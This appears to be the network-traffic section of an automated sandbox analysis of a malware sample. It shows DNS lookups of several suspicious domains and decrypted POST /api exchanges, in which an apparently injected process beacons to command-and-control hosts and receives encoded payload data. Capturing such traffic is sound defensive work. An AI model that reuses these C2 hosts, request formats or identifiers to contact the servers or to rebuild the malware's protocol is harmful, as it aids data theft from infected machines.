Oct 30, 2024 22:37:22.663300037 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.663320065 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:22.663604975 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:22.664992094 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.665044069 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.665059090 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.342438936 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.342539072 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.342608929 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.342863083 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.342879057 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.342888117 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.342894077 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.388664961 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.388693094 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:23.388773918 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.389122963 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:23.389139891 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.005875111 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.006041050 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.007534027 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.007546902 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.007791996 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.009165049 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.009203911 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.009228945 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316637039 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316689968 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316720009 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316750050 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316776991 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316823006 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.316871881 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.316905975 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.316931009 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.316962004 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.317007065 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.317086935 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.317102909 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.317253113 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.317308903 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.317325115 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.364006996 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.434720993 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.434814930 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.434879065 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.434902906 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.434950113 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.434998035 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.435013056 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.435090065 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.435144901 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.435280085 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.435332060 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.435367107 CET	62748	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.435381889 CET	443	62748	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.459543943 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.459594011 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:24.459816933 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.460083961 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:24.460100889 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.066804886 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.067028999 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.068372011 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.068382978 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.068614006 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.069855928 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.069998026 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.070038080 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.549592018 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.549731970 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.549801111 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.549884081 CET	62749	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.549897909 CET	443	62749	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.566220999 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.566325903 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:25.566416025 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.566725016 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:25.566765070 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.180741072 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.180881023 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.208765030 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.208822012 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.209141016 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.210479021 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.210655928 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.210705042 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.210799932 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.210817099 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.733488083 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.733587980 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.733650923 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.733871937 CET	62750	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.733891964 CET	443	62750	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.800657034 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.800700903 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:26.800780058 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.801121950 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:26.801136017 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:27.425761938 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:27.425849915 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:27.427373886 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:27.427381039 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:27.427618980 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:27.428771019 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:27.428909063 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:27.428936005 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:27.429001093 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:27.429009914 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.152010918 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.152117014 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.152170897 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.152282953 CET	62751	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.152297020 CET	443	62751	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.277870893 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.277905941 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.277991056 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.278326988 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.278346062 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.893886089 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.893995047 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.899166107 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.899177074 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.899444103 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:28.903805971 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.903951883 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:28.903963089 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:29.376784086 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:29.376909018 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:29.377062082 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:29.377312899 CET	62752	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:29.377334118 CET	443	62752	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:29.700407982 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:29.700468063 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:29.700526953 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:29.701168060 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:29.701184034 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.344063044 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.344254971 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.345593929 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.345623016 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.345881939 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.347598076 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.348445892 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.348498106 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.348664045 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.348712921 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.348841906 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.348892927 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349062920 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349104881 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349261999 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349315882 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349489927 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349534988 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349555969 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349600077 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349699020 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349740028 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.349802971 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349875927 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.349908113 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.360573053 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.360815048 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.360862017 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:30.360887051 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.360937119 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:30.367259979 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:32.644809008 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:32.644947052 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:32.645042896 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:32.645390034 CET	62753	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:32.645406961 CET	443	62753	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:32.651007891 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:32.651066065 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:32.651149035 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:32.651443958 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:32.651463985 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.280288935 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.280445099 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.281749964 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.281774998 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.282111883 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.283782959 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.283833981 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.283886909 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.748577118 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.748701096 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.748769045 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.748975039 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.749000072 CET	443	62754	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:33.749016047 CET	62754	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:33.749031067 CET	443	62754	104.21.33.140	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 22:36:06.343796968 CET	64141	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:36:06.352695942 CET	53	64141	1.1.1.1	192.168.2.5
Oct 30, 2024 22:36:26.420972109 CET	53	60938	1.1.1.1	192.168.2.5
Oct 30, 2024 22:37:20.561177969 CET	61001	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:37:20.576575994 CET	53	61001	1.1.1.1	192.168.2.5
Oct 30, 2024 22:37:21.967612028 CET	57099	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:37:21.982125044 CET	53	57099	1.1.1.1	192.168.2.5
Oct 30, 2024 22:37:21.983660936 CET	51724	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:37:21.998564959 CET	53	51724	1.1.1.1	192.168.2.5
Oct 30, 2024 22:37:21.999773026 CET	60198	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:37:22.016326904 CET	53	60198	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 22:36:06.343796968 CET	192.168.2.5	1.1.1.1	0xf01a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:20.561177969 CET	192.168.2.5	1.1.1.1	0x1809	Standard query (0)	treatmentyj.cyou	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:21.967612028 CET	192.168.2.5	1.1.1.1	0x1ec	Standard query (0)	seallysl.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:21.983660936 CET	192.168.2.5	1.1.1.1	0x2286	Standard query (0)	opposezmny.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:21.999773026 CET	192.168.2.5	1.1.1.1	0xeb69	Standard query (0)	goalyfeastz.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 22:36:06.352695942 CET	1.1.1.1	192.168.2.5	0xf01a	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:20.576575994 CET	1.1.1.1	192.168.2.5	0x1809	No error (0)	treatmentyj.cyou		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:20.576575994 CET	1.1.1.1	192.168.2.5	0x1809	No error (0)	treatmentyj.cyou		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:21.982125044 CET	1.1.1.1	192.168.2.5	0x1ec	Name error (3)	seallysl.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:21.998564959 CET	1.1.1.1	192.168.2.5	0x2286	Name error (3)	opposezmny.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:22.016326904 CET	1.1.1.1	192.168.2.5	0xeb69	No error (0)	goalyfeastz.site		104.21.33.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:37:22.016326904 CET	1.1.1.1	192.168.2.5	0xeb69	No error (0)	goalyfeastz.site		172.67.145.203	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

treatmentyj.cyou

goalyfeastz.site

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	62746	188.114.96.3	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treatmentyj.cyou
2024-10-30 21:37:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 21:37:21 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4nr00lpbhfhr68vvion0i9klsp; expires=Sun, 23 Feb 2025 15:24:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VFYq8F%2BKkP7ObrxjhN5bGFk%2BWu%2Bla4jIkqhcGrjqKmVabZZ%2FJCT2JQnsgAIHTCqA9%2B3glJk0mFo%2FSfzQLgYmYVsl9xiYkO82TkcJrNlttM83r7mHdAqU3i5q3e22BQqzts6l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8bcc6c270bc7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=2276729&cwnd=236&unsent_bytes=0&cid=bca3a9fa8e165f7d&ts=746&x=0"
2024-10-30 21:37:21 UTC	9	IN	Data Raw: 34 0d 0a 66 61 69 6c 0d 0a Data Ascii: 4fail
2024-10-30 21:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	62747	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: goalyfeastz.site
2024-10-30 21:37:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 21:37:23 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1coaiv3ctp7heovrgmulvthil1; expires=Sun, 23-Feb-2025 15:24:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qpk1zsnBsm0fL%2F7I9MhpHLCa0cCIyIeMVvPPuWpHrax07WXrY%2FJ2xf4P3aCJdQHTS1yV4Au%2ByOsEjcxKhD3yZmTNVW9MkU6efN2HWBK9HotCMUUP69GCPF6XdKQcfT6%2BQVie"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8bd51ce33470-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1331&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=2207317&cwnd=251&unsent_bytes=0&cid=06adecadc52d87dd&ts=692&x=0"
2024-10-30 21:37:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 21:37:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	62748	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:24 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 43 Host: goalyfeastz.site
2024-10-30 21:37:24 UTC	43	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 58 47 44 52 2d 2d 47 33 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VXGDR--G3&j=
2024-10-30 21:37:24 UTC	1007	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0cql4m6fqns5omlvvg36d1aad3; expires=Sun, 23-Feb-2025 15:24:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OKdVDWPAo5DsmgmnTlGnEplnxTCwdWO9f0e7%2BlqEtr46jidMlg1PEBMbIsxIm3loN1znCojqINVLuoryCNr7y8RYhjL3IgHJy42KNLexV2qemMwB%2B%2FpRLoY2hBKAO4Yzzo44"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8bdd7939e7fb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2215&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=943&delivery_rate=1333947&cwnd=250&unsent_bytes=0&cid=1a3a4060fce96a6a&ts=317&x=0"
2024-10-30 21:37:24 UTC	362	IN	Data Raw: 31 64 39 32 0d 0a 54 6d 48 34 6f 61 74 54 51 68 77 49 67 70 47 46 38 71 54 42 6b 53 41 47 66 51 6c 75 70 7a 53 6d 53 48 64 57 51 77 31 71 48 47 67 31 51 34 36 44 6b 57 64 75 50 6e 76 6e 73 37 2b 47 31 72 54 30 44 43 51 63 62 55 79 64 55 73 63 6b 42 44 4e 76 4c 78 78 78 53 6e 51 48 6d 63 33 59 4e 6d 34 2b 62 66 71 7a 76 36 6e 66 34 2f 52 4f 4a 45 63 72 43 38 31 57 78 79 51 56 4e 79 68 69 47 6e 41 4c 4a 67 32 66 79 63 34 77 4a 6e 31 6b 37 2f 54 67 6c 38 57 72 2f 30 6c 72 46 57 52 4d 69 78 62 44 4d 6c 56 73 59 55 41 50 61 41 6b 44 41 49 76 4b 69 53 35 75 5a 79 72 6e 2f 36 66 49 68 71 44 30 51 6d 6f 62 62 51 58 50 58 4d 34 73 46 44 49 70 66 51 4e 36 41 43 59 44 6e 4d 6a 45 4f 54 4a 77 62 75 6a 2f 35 70 33 46 34 37 30 43 59 77 63 72 56 49 55 46 39 69 6b 45 4a Data Ascii: 1d92TmH4oatTQhwIgpGF8qTBkSAGfQlupzSmSHdWQw1qHGg1Q46DkWduPnvns7+G1rT0DCQcbUydUsckBDNvLxxxSnQHmc3YNm4+bfqzv6nf4/ROJEcrC81WxyQVNyhiGnALJg2fyc4wJn1k7/Tgl8Wr/0lrFWRMixbDMlVsYUAPaAkDAIvKiS5uZyrn/6fIhqD0QmobbQXPXM4sFDIpfQN6ACYDnMjEOTJwbuj/5p3F470CYwcrVIUF9ikEJ
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 34 6f 4c 4e 71 76 35 50 5a 42 4a 68 41 38 5a 57 77 79 41 66 4f 79 74 72 42 58 4d 4d 4c 41 50 61 6a 59 6b 32 4f 44 34 79 6f 4e 44 69 67 4d 47 76 35 51 42 65 58 33 52 43 33 42 62 44 4a 6c 56 73 59 57 63 4e 66 51 6b 6e 44 4a 6e 4c 77 69 4d 67 62 47 7a 74 39 76 57 57 77 36 33 35 51 58 59 56 5a 51 72 47 58 38 38 6a 45 44 4d 6c 4c 30 59 2b 44 54 52 44 77 6f 50 6f 50 43 74 79 59 50 66 7a 70 34 2b 49 75 72 4e 46 61 46 38 7a 54 4d 46 58 77 43 73 52 4f 69 39 72 42 48 67 45 49 51 79 63 79 63 6b 32 4b 6e 5a 69 34 66 37 73 6e 38 61 6d 2f 6b 5a 69 45 32 6f 4a 68 52 69 45 4c 51 31 30 65 53 38 6d 65 51 6b 2b 51 61 2f 41 78 7a 38 6e 61 43 72 2f 76 66 37 51 77 61 2b 7a 47 69 51 52 62 67 50 58 56 39 59 76 47 79 59 74 61 67 35 7a 43 53 49 44 6e 38 54 45 50 79 5a 35 61 65 6a Data Ascii: 